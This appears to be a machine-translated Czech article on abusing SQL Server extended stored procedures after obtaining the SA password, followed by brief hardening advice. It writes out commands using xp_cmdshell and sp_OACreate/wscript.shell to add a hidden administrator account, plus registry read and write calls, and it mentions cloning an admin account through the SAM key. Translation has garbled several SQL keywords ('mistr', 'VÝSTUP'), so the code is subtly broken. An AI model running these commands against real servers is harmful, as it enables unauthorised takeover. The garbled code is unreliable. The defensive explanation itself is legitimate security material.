Uložené procedury jsou sbírkou předem napsaných SQL příkazů uložených v SQLServeru, mezi které nejnebezpečnější rozšířené uložené procedury patří xp_cmdshell, které mohou vykonávat libovolné instrukce operačního systému, a SA je administrátorský účet Microsoft SQLServer s nejvyššími oprávněními může spouštět rozšířené uložené procedury a získávat zpětné hodnoty, například při vykonání:
Výkonný mistr.. xp_cmdshell 'NET User Test 1234 /add' a exec-master: xp_cmdshell 'net localgroup administrators test /add'
Tímto způsobem jsou do systému druhé strany přidány uživatelské jméno test, heslo 1234 a administrátorská oprávnění, jak je znázorněno na obrázku 1.
Teď byste měli pochopit, proč dostáváte heslo k SA a máte nejvyšší oprávnění systému. Často mnoho síťových administrátorů tuto situaci nezná a mají pro své SA uživatele jednoduchá hesla jako 1234 a 4321, nebo si hesla vůbec nenastavují, aby síťoví vetřelci mohli snadno naskenovat heslo SA pomocí hackovacích nástrojů a pak ovládat počítač.
Kromě xp_cmdshell existují také uložené procedury, které mohou být zneužity vetřelci:
1. xp_regread (tato rozšířená uložená procedura dokáže číst hodnotu zadanou v klíči specifikovaném v registru), jak ji použít (získat název stroje):
DECLARE@testvarchar(50) EXEC mistr.. xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='system\controlset001\control\computername\computername', @value_name='computername', @value=@test VÝSTUP SELECT @test
2. xp_regwrite (tato rozšířená uložená procedura může zapsat hodnotu zadanou v klíči specifikovaném v registru) a jak ji použít (zapisovat bbb do klíče HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXEC, mistr... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\aaa', @value_name='aaaValue', @type='REG_SZ', @value='bbb'
Pokud administrátor kompromitovaného počítače může procházet informace o HKEY_LOCAL_MACHINE\SAM\SAM\ v registru, pak lze dva uložené procedury xp_regread a xp_regwrite použít k klonování administrátorského uživatele a získání administrátorských oprávnění. xp_regdeletekey. xp_regdeletevalue přinese také bezpečnostní rizika pro systém. 3. Řada úložicích procedur souvisejících s OLE, tato řada úložicích procedur má sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop, použití:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell', @shell OUTPUT EXEC SP_OAMETHOD @shell,'run', null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'--
Tímto způsobem druhý systém přidá test s uživatelským jménem a uživatele s heslem 1234 a poté vykoná:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell', @shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '--
Uživatelský test, přidán do skupiny Administrátoři. Řešení: Dát SA heslo, které je natolik složité, že kyberútočníkům ztíží prolomení. Pro bezpečnost je také potřeba používat uložené procedury v SQLS sp_addextendedproc sp_dropextendedproc erverově analyzátoru dotazů sp_dropextendedproc mazání uložených procedur, jako je xp_cmdshell, a poté použít sp_addextendedproc obnovu, když je to potřeba. Je třeba poznamenat, že mazání uložených procedur souvisejících s OLE může způsobit, že některé funkce v Enterprise Manageru budou nepoužitelné, a autor zde jejich mazání nedoporučuje.
Teď, když víme, jak SP_OACREATE používat, můžeme jít do \WINNT \system32 a najít cmd.exe, net.exe a net1.exe tři soubory a smazat všechny uživatele, kteří k nim mají přístup, v "Vlastnostech" – "Bezpečnosti", abychom nemohli použít SP_OACREATE ke zvýšení počtu systémových uživatelů, a přidávat uživatele přístupu, když je potřebujeme k těmto souborům přistupovat.
|